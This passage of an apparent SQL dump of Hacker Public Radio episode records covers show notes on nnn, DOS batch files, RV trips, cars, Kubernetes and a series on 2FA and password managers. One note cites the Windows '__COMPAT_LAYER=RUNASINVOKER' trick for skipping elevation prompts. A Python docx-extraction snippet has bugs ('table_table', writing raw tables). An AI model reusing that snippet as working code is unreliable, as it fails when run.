id=\"examples\">Examples</h5>\n<pre><code>image/jpeg=feh.desktop\naudio/x-wav=mpv.desktop\naudio/flac=mpv.desktop\napplication/epub+zip=calibre-ebook-viewer.desktop\nvideo/mpg=mpv.desktop\nvideo/mpeg=mpv.desktop\nvideo/iso=vlc.desktop\naudio/ogg=mpv.desktop\ntext/pdf=zathura.desktop\napplication/pdf=org.pwmt.zathura-pdf-mupdf.desktop\ntext/markdown=ebook-viewer.desktop\n\n[Added Associations]\nimage/png=feh.desktop;\nvideo/x-matroska=mpv.desktop;\nimage/jpeg=feh.desktop;\naudio/x-wav=mpv.desktop;\naudio/flac=mpv.desktop;\napplication/epub+zip=calibre-ebook-viewer.desktop;\napplication/x-cd-image=vlc.desktop;</code></pre>\n<h4 id=\"how-i-use-nnn\">How I use nnn</h4>\n<ul>\n<li>Watching movies and tv shows from samba Pi server\n<ul>\n<li>Moving video rips to another directory</li>\n</ul></li>\n</ul>\n<p><em>Sample with folder icons</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3618/photo_1.png\" alt=\"Sample with folder icons\" />  </p>\n<ul>\n<li><p>Reading pdf files</p>\n<ul>\n<li>Zathura</li>\n</ul></li>\n<li><p>Reading epub books</p>\n<ul>\n<li>Calibre e-book viewer</li>\n</ul></li>\n<li><p>Editing files in vim</p>\n<ul>\n<li>\'e\' to edit</li>\n</ul></li>\n<li><p>Creating new files</p></li>\n<li><p>Creating new directories</p></li>\n<li><p>Dropping to a command prompt temporarily, using \'!\'</p></li>\n<li><p>Extracting tar.gz and zip files</p></li>\n<li><p>Bulk file renaming</p></li>\n<li><p>Organizing files</p>\n<ul>\n<li>use \'/\' to find like files and \'ESC\'</li>\n</ul></li>\n<li><p>Send file as attachment in mutt</p>\n<ul>\n<li>\'o\' to open file, \'mutt -a\' to attach files</li>\n</ul></li>\n<li><p>KDEconnect to send files and web links</p>\n<pre><code>#!/bin/bash\n\nkdeconnect-cli -d $(kdeconnect-cli -a --id-only) --share $1</code></pre></li>\n<li><p>View all commands</p>\n<ul>\n<li>\'?\'</li>\n</ul></li>\n</ul>\n<p><em>Help screen</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3618/photo_2.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3618/photo_2_thumbnail.png\" alt=\"Help screen\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\n<h4 id=\"videos\">Videos</h4>\n<ul>\n<li><a href=\"https://vid.puffyan.us/watch?v=-knZwdd1ScU\" class=\"uri\">https://vid.puffyan.us/watch?v=-knZwdd1ScU</a></li>\n</ul>\n<h4 id=\"more-info\">More info</h4>\n<ul>\n<li><h5 id=\"github-page\">Github page</h5>\n<ul>\n<li><a href=\"https://github.com/jarun/nnn\" class=\"uri\">https://github.com/jarun/nnn</a></li>\n</ul></li>\n<li><h5 id=\"arch-wiki\">Arch wiki</h5>\n<ul>\n<li><a href=\"https://wiki.archlinux.org/title/Nnn\" class=\"uri\">https://wiki.archlinux.org/title/Nnn</a></li>\n</ul></li>\n<li><h5 id=\"plugins\">Plugins</h5>\n<ul>\n<li><a href=\"https://github.com/jarun/nnn/blob/master/plugins/README.md\" class=\"uri\">https://github.com/jarun/nnn/blob/master/plugins/README.md</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://github.com/jarun/nnn/wiki/Advanced-use-cases\" class=\"uri\">https://github.com/jarun/nnn/wiki/Advanced-use-cases</a></li>\n<li><a href=\"https://wiki.archlinux.org/title/XDG_MIME_Applications\" class=\"uri\">https://wiki.archlinux.org/title/XDG_MIME_Applications</a></li>\n<li><a href=\"https://wiki.archlinux.org/title/Xdg-utils\" class=\"uri\">https://wiki.archlinux.org/title/Xdg-utils</a></li>\n<li><a href=\"https://www.romanzolotarev.com/xdg-mime.html\" class=\"uri\">https://www.romanzolotarev.com/xdg-mime.html</a></li>\n<li>Find all available mimetypes for one application\n<ul>\n<li>grep MimeType /usr/share/applications/gimp.desktop</li>\n</ul></li>\n</ul>\n<h4 id=\"applications\">Applications</h4>\n<ul>\n<li>Zathura for PDF\n<ul>\n<li><a href=\"https://wiki.archlinux.org/title/Zathura\" class=\"uri\">https://wiki.archlinux.org/title/Zathura</a></li>\n</ul></li>\n</ul>\n',318,11,0,'CC-BY-SA','nnn, file manager, lightweight apps, vim, zathura, calibre',0,0,1),
(3627,'2022-06-28','Only Key Duo',982,'I talk about my new Hardware password manager','<p><a href=\"https://onlykey.io/products/onlykey-duo-dual-usb-c-and-usb-a-security-key\" class=\"uri\">https://onlykey.io/products/onlykey-duo-dual-usb-c-and-usb-a-security-key</a></p>\n<p><code>set __COMPAT_LAYER=RUNASINVOKER</code> example usage</p>\n<p><a href=\"https://github.com/freeload101/SCRIPTS/blob/704689e4febf164008089ecaf192cf03dde752c3/AutoHotkey/AutoHotkey.bat#L65\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/704689e4febf164008089ecaf192cf03dde752c3/AutoHotkey/AutoHotkey.bat#L65</a></p>\n<p>My post about ghosting your backers:<br />\n<a href=\"https://onlykey.discourse.group/t/onlykey-duo-hello/643\" class=\"uri\">https://onlykey.discourse.group/t/onlykey-duo-hello/643</a></p>\n<p><a href=\"https://twitter.com/operat0r/status/1511475178345222145\" class=\"uri\">https://twitter.com/operat0r/status/1511475178345222145</a></p>\n',36,74,1,'CC-BY-SA','passwords,password managers,Hardware Security',0,0,1),
(3630,'2022-07-01','Planning an RV Trip',1150,'Tools and suggestions for planning a long RV trip.','<p>This begins our series about our RV trip by looking at the planning process. We give a suggestion for a nice online course that is not too expensive, and offer some tips on using Google Maps in planning your trip.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://courses.saadigital.com/p/how-to-plan-your-epic-rv-adventure/\" class=\"uri\">https://courses.saadigital.com/p/how-to-plan-your-epic-rv-adventure/</a></li>\n<li><a href=\"https://www.visitnasa.com/nasa-visitor-centers\" class=\"uri\">https://www.visitnasa.com/nasa-visitor-centers</a></li>\n<li><a href=\"https://www.palain.com/travel/planning-an-rv-trip/\" class=\"uri\">https://www.palain.com/travel/planning-an-rv-trip/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning, Google Maps',0,0,1),
(3640,'2022-07-15','Expert DIR use',878,'We continue with DOS. This time it is mastering the DIR commands','<p>DIR can just be simple list of files and sub-directories, but you can so much more. We can use the information about Wildcards and Attributes to make DIR a kind of search function.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, directory listing',0,0,1),
(3650,'2022-07-29','Major Destinations',910,'Building a plan around major destinations, and using memberships to get discounted stays.','<p>We continue our look at the planning process by looking at how to build a plan around major destinations, and add memberships that give discounted stays like Escapees and Passport America.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.escapees.com/benefits/rv-parking/discount-park-directory/maps/\" class=\"uri\">https://www.escapees.com/benefits/rv-parking/discount-park-directory/maps/</a></li>\n<li><a href=\"https://passportamerica.com/\" class=\"uri\">https://passportamerica.com/</a></li>\n<li><a href=\"https://www.palain.com/travel/major-destinations/\" class=\"uri\">https://www.palain.com/travel/major-destinations/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning, Google Maps, Escapees, Passport America',0,0,1),
(3660,'2022-08-12','BASIC',485,'We continue our technological archeology to explore the old warhorse, DOS. This time it is BASIC.','<p>BASIC came bundled as a free programming language when you bought DOS, but it is also the language used for two key components, EDIT and HELP. You need BASIC, therefore, to run either of these key applications, such as on your Emergency Boot Disk.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-13-basic/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-13-basic/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, BASIC',0,0,1),
(3670,'2022-08-26','Changing Plans',988,'We look at some potential Covid-19 issues and consider alternatives','<p>We continue our look at the planning process as we discard one plan due to Covid-19 and turn to a different plan. And we introduce an RV-specific planning tool called RV Trip Wizard.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.rvtripwizard.com/app\" class=\"uri\">https://www.rvtripwizard.com/app</a></li>\n<li><a href=\"https://www.palain.com/travel/changing-plans/\" class=\"uri\">https://www.palain.com/travel/changing-plans/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, Google Maps, RV Trip Wizard ',0,0,1),
(3680,'2022-09-09','EDIT',739,'More on DOS. This time it is EDIT','<p>EDIT is a key built-in applet that you can use to edit your AUTOEXEC.BAT and CONFIG.SYS files, which makes it a key addition to your Emergency Boot Disk.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-14-the-edit-applet/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-14-the-edit-applet/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, EDIT',0,0,1),
(3690,'2022-09-23','Planning the Trip',817,'Taking our revised plan to completion','<p>We take our revised objectives from the last episode and flesh out a completed plan that gets us out west and back home again.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/planning-the-trip/\" class=\"uri\">https://www.palain.com/travel/planning-the-trip/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning, full trip',0,0,1),
(3700,'2022-10-07','Introduction to Batch Files',882,'More on DOS. This time it is Introduction to Batch Files','<p>Batch files are an important topic to mastering DOS, and in this episode we begin exploring them. Batch files in DOS are similar to BASH scripts in Unix/Linux in that they let you run multiple commands from one file.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-15-introduction-to-batch-files/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-15-introduction-to-batch-files/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, Batch Files',0,0,1),
(3710,'2022-10-21','Changing Plans Again',1262,'One more trip change, then on the road','<p>Once again we had to change plans due to some health issues that were not serious but had to be dealt with. But we finally got on the road and started traveling.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://blog.campersinn.com/blog/ultimate-rv-packing-list-for-a-first-time-camper\" class=\"uri\">https://blog.campersinn.com/blog/ultimate-rv-packing-list-for-a-first-time-camper</a></li>\n<li><a href=\"https://www.palain.com/travel/changing-plans-2/\" class=\"uri\">https://www.palain.com/travel/changing-plans-2/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, trip planning',0,0,1),
(3720,'2022-11-04','Practicing Batch Files With ECHO',731,'More on DOS. This time it is using the ECHO command with batch files.','<p>This continues our look at batch files by demonstrating the use of the ECHO command. This command can be used to display things on the screen, or hide them, as you wish.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-16-practicing-batch-files-with-echo/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-16-practicing-batch-files-with-echo/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, batch files, ECHO',0,0,1),
(3730,'2022-11-18','Into Arizona',858,'Hitting our first major stop in Arizona.','<p>We get to our first major stop for a week in Topock, Arizona. From here we can check out places like Oatman, Arizona and Lake Havasu, Arizona. We make a few more mistakes, but learn from them.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/into-arizona/\" class=\"uri\">https://www.palain.com/travel/into-arizona/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona',0,0,1),
(3740,'2022-12-02','Batch File Variables; Nested Batch Files',730,'More on DOS. This time it is using variables in batch files, and nesting batch files.','<p>This final episode of the DOS series continues the look at batch files by first looking at how you can use variables in writing your batch files. Then we look at how batch files can be nested, that is, how one batch file can call another batch file, thus chaining batch files together.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-17-batch-file-variables-nested-batch-files/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-17-batch-file-variables-nested-batch-files/</a></li>\n</ul>\n',198,117,0,'CC-BY-SA','DOS, early PC computing, batch files, variables, nesting',0,0,1),
(3750,'2022-12-16','Southern Arizona',1022,'We move into Southern Arizona, near the Mexican border.','<p>We wrap up our stay in Topock, Arizona and move down to Ajo, Arizona, not far from the Mexican border. Kevin gets a head cold and takes it easy for a few days, but we still manage to get out and see some things. At the end we repair our steps and head off to the Tucson area.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.palain.com/travel/southern-arizona/\" class=\"uri\">https://www.palain.com/travel/southern-arizona/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona',0,0,1),
(3596,'2022-05-16','Extracting text, tables and images from docx files using Python',517,'In this episode, I describe how I used 2 python libraries to extract import data from docx files','<h2 id=\"tools-to-extract-data-from-docx-files\">Tools to extract data from docx files:</h2>\n<ol>\n<li><a href=\"https://manpages.ubuntu.com/manpages/focal/man1/docx2txt.1.html\">docx2txt</a></li>\n<li><a href=\"https://github.com/ankushshah89/python-docx2txt\">python-docx2txt</a></li>\n<li><a href=\"https://python-docx.readthedocs.io/en/latest/\">python-docx</a></li>\n</ol>\n<h2 id=\"code-snippets\">Code Snippets</h2>\n<pre><code>text = docx2txt.process(src, img_dest)\nwith open(&quot;data.txt&quot;, &quot;wt&quot;) as f:\n    f.write(text)\n</code></pre>\n<pre><code>document = docx.Document(src)\ntables = document.tables\ndata = []\nfor table in tables:\n    table_data = []\n    for row in table.rows:\n        row_data = []\n        for cell in row.cells:\n            row_data.append(cell.text)\n        table_data.append(row_data)\n    data.append(table_table)\n\nfor i, table in enumerate(tables):\n    with open(f&quot;{i}.csv&quot;, &quot;wt&quot;) as f:\n        writer = csv.writer(f)\n        writer.writerows(table)\n</code></pre>\n',300,38,0,'CC-BY-SA','python,docx',0,0,1),
(3597,'2022-05-17','Good Idea Fairy Hunting',570,'Tracing my security woes to the source using \"Good Idea Fairy Hunting\"','<p>This is the beginning of a series where I am going to discuss how to handle and tackle security as a people problem. We often lose sight of the trees for the forest and vice versa. Let\'s get out from behind our desks and go meet the people that need our help, even if they don\'t know it yet.</p>\n',405,74,1,'CC-BY-SA','adminadmin,Lurking Prion,2022,cybersecurity,infosec',0,0,1),
(3598,'2022-05-18','Slackware 15 - 32 bit Operating System from day one.',3756,'The PRO\'s of using a Slackware 32 bit operating system','<ul>\n<li>The Slackware Linux website:<br />\n<a href=\"https://www.slackware.com/info/\" class=\"uri\">https://www.slackware.com/info/</a></li>\n<li>Wiki on Slackware Linux<br />\n<a href=\"https://www.wikiwand.com/en/Slackware\" class=\"uri\">https://www.wikiwand.com/en/Slackware</a></li>\n<li>List of distributions based on Slackware - Suse excluded<br />\n<a href=\"https://www.primidi.com/list_of_linux_distributions/slackware-based\" class=\"uri\">https://www.primidi.com/list_of_linux_distributions/slackware-based</a></li>\n<li>Slackbuilds.org website<br />\n<a href=\"https://slackbuilds.org/repository/15.0/multimedia/vlc/\" class=\"uri\">https://slackbuilds.org/repository/15.0/multimedia/vlc/</a></li>\n<li>Freenix - formerly FreeSlacks<br />\n<a href=\"https://freeslack.net/\" class=\"uri\">https://freeslack.net/</a></li>\n</ul>\n',377,0,1,'CC-BY-SA','32bitOS, Security,Simplicity,Freedom,usercontrol',0,0,1),
(3601,'2022-05-23','Re: The Worst Car I Ever Had',356,'In the 1980\'s, out of ignorance, I bought a real dud of a car','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>This episode was prompted by show <a href=\"https://hackerpublicradio.org/eps.php?id=3542\">3542</a> from <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\">Beeza</a> entitled <em>The Worst Car I Ever Had</em>. Here’s my story.</p>\n<p>I moved to Edinburgh in 1981, and before long bought myself a car - the first one I had owned. Before that I’d owned a series of Lambretta motor scooters and small to medium powered motorbikes. I’d been using a bicycle a lot after that.</p>\n<p>The car I bought was an oldish <a href=\"https://en.wikipedia.org/wiki/Peugeot_104\">Peugeot 104</a>, small, not very powerful, but it did the job. It was fine for driving around town and I used it to go and visit my parents in Norwich, England a few times, a long journey. I once drove north, up to Ullapool, a shorter drive, but it wasn’t the car for long journeys. Mostly it was used around town.</p>\n<p>As the Peugeot started to give me trouble I looked around for a replacement. I was visiting my parents and went to a car dealer in Norwich and was shown an <a href=\"https://en.wikipedia.org/wiki/Austin_Maestro\">Austin Maestro</a>. It was newer than the Peugeot and seemed to be in good condition, so I bought it, trading in the Peugeot as I did so.</p>\n<p>The Maestro range was seen as reasonably good as far as I knew, but this one suffered from some design flaws, in my opinion.</p>\n<p>The car I bought was only a few years old and had a fairly low mileage. It was the HLE model with a 1.3 litre petrol engine. It had 4 doors and a <em>hatch</em> at the back giving access to a reasonable amount of luggage space (often such <em>hatchbacks</em> are called 5-door cars in the UK). All Maestro models had front-wheel drive, and this one had a manual gearbox. Automatic British cars were not common at that time.</p>\n<p>The Maestro had a bunch of economy features:</p>\n<ul>\n<li>a 4-speed gearbox with some <em>economy</em> gear ratios</li>\n<li>an <em>econometer</em> on the dashboard with green and red LEDs indicating how economically the car was being driven</li>\n</ul>\n<h2 id=\"the-issues\">The Issues</h2>\n<p>The Maestro seemed to have been designed to be driven as empty as possible. As soon as there were any passengers, or luggage, or <u><mark>both</mark></u>, the car was a nightmare to drive.</p>\n<p>There were models in the range that performed well, I think. Being passed by them on motorways and when trying to drive up any kind of hill showed this to be true. I’ve read that the standard 1.3 model was pretty good without the economy features, but I never experienced one.</p>\n<p>The problem was that the gap in gear ratios between the second and third gear was enormous, as if you’d accidentally skipped a gear. The fourth <em>economy</em> gear could only be resorted to on flat roads – or going downhill – or with a tail wind – or with the car completely empty.</p>\n<p>I was happy to find a link describing these problems when doing research for this show. The <a href=\"https://www.aronline.co.uk/cars/austin/maestro/not-their-finest-hour-austin-maestro-1-3-hle/\">description of the car</a> made me laugh, but also brought back memories of the extreme frustration I experienced with this car!</p>\n<p>So, I conclude that this particular Maestro was a failure. It might be the reason I got it at a good price; the previous owner was probably keen to get rid of it. Also the car dealer knew a sucker when he saw one, and I was that fool!</p>\n<p>I kept the car for a few years, did very few long journeys in it and eventually replaced it with a Vauxhall Astra Mark III, which was in a totally different league!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Peugeot 104\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Peugeot_104\">Wikipedia page on the Peugeot 104</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Austin Maestro:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Austin_Maestro\">Wikipedia page on the Maestro</a></li>\n<li><a href=\"https://www.aronline.co.uk/cars/austin/maestro/not-their-finest-hour-austin-maestro-1-3-hle/\">Essay : Not their finest hour – Austin Maestro 1.3HLE</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=yANZVp4HRMQ\">A 1983 Austin Maestro 1.3 HLE called <em>Amy</em> (YouTube)</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Vauxhall Astra:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Vauxhall_Astra\">Wikipedia page on the Vauxhall Astra</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','Cars, automobiles, Austin Maestro',0,0,1),
(3603,'2022-05-25','Who the heck is Evil Steve? Part 1',852,'Security as a people problem: Who is actually attacking us? Meet Evil Steve.\r','<p>admin admin with Lurking Prion</p>\r\n<p>Episode 3: Who the heck is Evil Steve?</p>\r\n<p>Picking up from Episode 2: Good Idea Fairy Hunting we continue exploring the concept of security as a people problem.<br />\r\nThis week we stop to take a moment to focus on the Who rather than the What is attacking us. In CyberSecurity, we tend to get caught up in things that happen to us, that we forget that it is actually a person attacking us. Learning more about who wants the information we have will tell us the ways they go about stealing it. This gives us information to better protect our assets and begin active threat hunting. The show is about 15 minutes long.</p>\r\n<h2 id=\"links-to-information-about-threat-actors-listed-below\">Links to information about Threat Actors listed below:</h2>\r\n<ul>\r\n<li><a href=\"https://www.cisa.gov/\" class=\"uri\">https://www.cisa.gov/</a></li>\r\n<li><a href=\"https://www.cisa.gov/cybersecurity\" class=\"uri\">https://www.cisa.gov/cybersecurity</a></li>\r\n<li><a href=\"https://www.cisa.gov/cert\" class=\"uri\">https://www.cisa.gov/cert</a></li>\r\n<li><a href=\"https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html\" class=\"uri\">https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html</a></li>\r\n<li><a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\r\n</ul>\r\n',405,74,1,'CC-BY-SA','adminadmin,cyber security,security,threats,threat actors,Evil Steve',0,0,1),
(3612,'2022-06-07','Who is Evil Steve? Part 2',959,'We take a closer look at the types of Evil Steve\'s attacking us','<p>admin admin with Lurking Prion</p>\n<h2 id=\"episode-4-who-is-evil-steve-part-2\">Episode 4: Who is Evil Steve? Part 2</h2>\n<p>Picking up from Episode 3: Picking up from the last episode, we delve a bit more into the types of threat actors (people) that are attacking us. We explore the run of the mill data theft hacker to the more professional Advanced Persistent Threats (APTs). The show is about 16 minutes long.</p>\n<h2 id=\"links-to-information-about-threat-actors-listed-below\">Links to information about Threat Actors listed below:</h2>\n<ul>\n<li><a href=\"https://www.cisa.gov/\" class=\"uri\">https://www.cisa.gov/</a></li>\n<li><a href=\"https://www.cisa.gov/cybersecurity\" class=\"uri\">https://www.cisa.gov/cybersecurity</a></li>\n<li><a href=\"https://www.cisa.gov/cert\" class=\"uri\">https://www.cisa.gov/cert</a></li>\n<li><a href=\"https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html\" class=\"uri\">https://www.csoonline.com/article/3619011/the-10-most-dangerous-cyber-threat-actors.html</a></li>\n<li><a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','adminadmin,cybersecurity,security,threats,threat actors,Evil Steve',0,0,1),
(3617,'2022-06-14','admin admin S01E05: To Do List - 2FA',874,'Making ourselves a less attractive target by implementing 2FA.','<p>Picking up from the last episode, we are now delving in to the security measures we can implement to make ourselves less attractive for Evil Steve. Two Factor Authentication (2FA) is at the top of the list.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.pcmag.com/picks/the-best-authenticator-apps?\" class=\"uri\">https://www.pcmag.com/picks/the-best-authenticator-apps?</a></li>\n<li><a href=\"https://www.ledger.com/es/academy/why-two-factor-authentication-2fa-matters-now-more-than-ever\" class=\"uri\">https://www.ledger.com/es/academy/why-two-factor-authentication-2fa-matters-now-more-than-ever</a></li>\n</ul>\n<ul>\n<li>Permanent link because it\'s very cool.<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','adminadmin,Lurking Prion,cybersecurity,security,threats,2FA,Evil Steve, two factor',0,0,1),
(3619,'2022-06-16','Linux Inlaws S01E58: Kubernetes and Friends and Sarah',4090,'The fun continues with a discussion of container orchestration frameworks, death (of containers) and','In this continuation of S01E57 our two chaps discuss how you can take containers from\nsingle instances to production-ready, scalable deployments handling large app stacks\nand that new-fangled hipster concept called micro-services. Using the once Google-owned project called Borg which later evolved into something now known as Kubernetes (k8s) as an example,\nMartin and Chris discuss typical challenges when using containers as the main infrastructure\nto modern workloads. Including such gory topics such as what happens if a container dies and\ndoesn\'t go to heaven, contradictions in terms such as ephemeral storage and why many k8s developers\nhave defected to VMware.\n<h2>Links:</h2>\n<ul>\n<li>S01E57: <a href=\"https://linuxinlaws.eu/#episodes\" target=_blank>https://linuxinlaws.eu/#episodes</a></li>\n<li>k8s: <a href=\"https://kubernetes.io\" target=_blank>https://kubernetes.io</a></li>\n<li>Mesos: <a href=\"https://mesos.apache.org\" target=_blank>https://mesos.apache.org</a></li>\n<li>DC OS: <a href=\"https://dcos.io\" target=_blank>https://dcos.io</a></li>\n<li>Redis Stack: <a href=\"https://redis.io/docs/stack\" target=_blank>https://redis.io/docs/stack</a></li>\n<li>Docker Swarm: <a href=\"https://docs.docker.com/engine/swarm\" target=_blank>https://docs.docker.com/engine/swarm</a></li>\n<li>Open Container Initiative: <a href=\"https://opencontainers.org\" target=_blank>https://opencontainers.org</a></li>\n<li>cri-o: <a href=\"https://github.com/cri-o/cri-o\" target=_blank>https://github.com/cri-o/cri-o</a></li>\n<li>containerd: <a href=\"https://github.com/containerd/containerd\" target=_blank>https://github.com/containerd/containerd</a></li>\n<li>minikube: <a href=\"https://minikube.sigs.k8s.io/docs/start\" target=_blank>https://minikube.sigs.k8s.io/docs/start</a></li>\n<li>kubeadm: <a href=\"https://kubernetes.io/docs/reference/setup-tools/kubeadm\" target=_blank>https://kubernetes.io/docs/reference/setup-tools/kubeadm</a></li>\n<li>kubeadm tutorial: <a href=\"https://citizix.com/how-to-set-up-kubernetes-cluster-on-debian-11-with-kubeadm-and-cri-o\" target=_blank>https://citizix.com/how-to-set-up-kubernetes-cluster-on-debian-11-with-kubeadm-and-cri-o</a></li>\n<li>YAML: <a href=\"https://yaml.org\" target=_blank>https://yaml.org</a></li>\n<li>OpenShift: <a href=\"https://www.redhat.com/en/technologies/cloud-computing/openshift\" target=_blank>https://www.redhat.com/en/technologies/cloud-computing/openshift</a></li>\n<li>HELM: <a href=\"https://helm.sh\" target=_blank>https://helm.sh</a></li>\n<li>k8s operators: <a href=\"https://kubernetes.io/docs/concepts/extend-kubernetes/operator\" target=_blank>https://kubernetes.io/docs/concepts/extend-kubernetes/operator</a></li>\n<li>openstack: <a href=\"https://www.openstack.org\" target=_blank>https://www.openstack.org</a></li>\n<li>Redis operator: <a href=\"https://github.com/AmadeusITGroup/Redis-Operator\" target=_blank>https://github.com/AmadeusITGroup/Redis-Operator</a></li>\n<li>k8s grid: <a href=\"https://tanzu.vmware.com/kubernetes-grid\" target=_blank>https://tanzu.vmware.com/kubernetes-grid</a></li>\n<li>Bradley Kuhn\'s Non-Profit blog post: <a href=\"https://sfconservancy.org/blog/2013/dec/05/non-profit-home\" target=_blank>https://sfconservancy.org/blog/2013/dec/05/non-profit-home</a></li>\n<li>Sarah\'s HPR episode: <a href=\"https://hackerpublicradio.org/eps.php?id=3577\" target=_blank>https://hackerpublicradio.org/eps.php?id=3577</a></li>\n<li>Volodymyr Zelenskyy: <a href=\"https://en.wikipedia.org/wiki/Volodymyr_Zelenskyy\" target=_blank>https://en.wikipedia.org/wiki/Volodymyr_Zelenskyy</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Kubernetes, Mesos, cri-o, YAML, OpenShift, hpr3577',0,0,1),
(3626,'2022-06-27','The stuff Evil Steve doesn\'t want you to know S01E06: Use a Password Manager',1100,'Making ourselves a less attractive target by utilizing a password manager.','<p>The stuff Evil Steve doesn\'t want you to know with Lurking Prion. This is Season 1, Episode 6. Picking up from the last episode, we are now delving in to the security measures we can implement to make ourselves a less attractive for Evil Steve. After implementing 2FA, we should now be setting up and using a password manager. Then we look for and changed passwords involved in known breaches (haveibeenpwned - link in show notes). The show is approximately 19 minutes long.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Password Manager Reviews:<br />\n<a href=\"https://www.tomsguide.com/us/best-password-managers,review-3785.html\" class=\"uri\">https://www.tomsguide.com/us/best-password-managers,review-3785.html</a><br />\n<a href=\"https://www.pcmag.com/picks/the-best-password-managers\" class=\"uri\">https://www.pcmag.com/picks/the-best-password-managers</a><br />\n<a href=\"https://www.nytimes.com/wirecutter/reviews/best-password-managers/\" class=\"uri\">https://www.nytimes.com/wirecutter/reviews/best-password-managers/</a></p></li>\n<li><p>Stand-Alone Password Managers<br />\n</p>\n<ul>\n<li>KeePass <a href=\"https://keepass.info/\" class=\"uri\">https://keepass.info/</a></li>\n<li>KeePassXC <a href=\"https://keepassxc.org/\" class=\"uri\">https://keepassxc.org/</a></li>\n</ul></li>\n<li><p>Recent Authenticator App Reviews<br />\n<a href=\"https://www.pcmag.com/picks/the-best-authenticator-apps\" class=\"uri\">https://www.pcmag.com/picks/the-best-authenticator-apps</a><br />\n<a href=\"https://www.nytimes.com/wirecutter/reviews/best-two-factor-authentication-app/\" class=\"uri\">https://www.nytimes.com/wirecutter/reviews/best-two-factor-authentication-app/</a></p></li>\n<li><p>Google password manager articles<br />\n<a href=\"https://privacycrypts.com/password-managers/guides/is-chrome-password-manager-safe/\" class=\"uri\">https://privacycrypts.com/password-managers/guides/is-chrome-password-manager-safe/</a><br />\n<a href=\"https://www.experian.com/blogs/ask-experian/is-google-passwordmanager-secure/\" class=\"uri\">https://www.experian.com/blogs/ask-experian/is-google-passwordmanager-secure/</a></p></li>\n<li><p>Apple iCloud Keychain<br />\n<a 